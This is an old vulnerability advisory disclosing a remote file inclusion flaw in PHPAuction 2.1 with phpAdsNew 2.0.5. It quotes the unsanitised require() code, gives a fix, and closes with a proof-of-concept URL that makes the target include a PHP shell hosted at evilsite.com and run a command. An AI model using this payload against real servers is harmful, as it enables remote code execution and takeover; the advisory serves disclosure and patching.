PHPAuction 2.1 (maybe higher) with phpAdsNew 2.0.5 RFI

+--------------------------------------------------------------------

+

+ PHPAuction 2.1 with phpAdsNew 2.0.5 Remote File Inclusion

+

+--------------------------------------------------------------------

+

+ Affected Software .: PHPAuction 2.1 (maybe higher) with phpAdsNew,

+                      phpAdsNew 2.0.5 (maybe higher)

+ Venedor ...........: http://www.phpauction.net,

+                      http://phpadsnew.com

+ Class .............: Remote File Inclusion in /phpAdsNew/view.inc.php

+ Risk ..............: high (Remote File Execution)

+ Found by ..........: Philipp Niedziela

+ Original advisory .: http://www.bb-pcsecurity.de/sicherheit_264.htm

+ Contact ...........: webmaster[at]bb-pcsecurity[.]de

+

+--------------------------------------------------------------------

+

+ Code /phpAdsNew/view.inc.php:

+

+ .....

+ // Include required files

+ require ("$phpAds_path/dblib.php");

+ require ("$phpAds_path/lib-expire.inc.php");

+ .....

+

+--------------------------------------------------------------------

+

+ $phpAds_path is not properly sanitized before being used.

+

+--------------------------------------------------------------------

+

+ Solution:

+ Declare $phpAds_path before using.

+

+--------------------------------------------------------------------

+ PoC:

+ Place a PHPShell on a remote location:

+ http://evilsite.com/dblib.php/index.html

+

+ http://[target]/phpAdsNew/view.inc.php?phpAds_path=http://evilsite.com/d
blib.php/&cmd=ls

+

+--------------------------------------------------------------------

+

+ Greets:

+ Krini&Lenni

+

+-------------------------[ E O F ]----------------------------------

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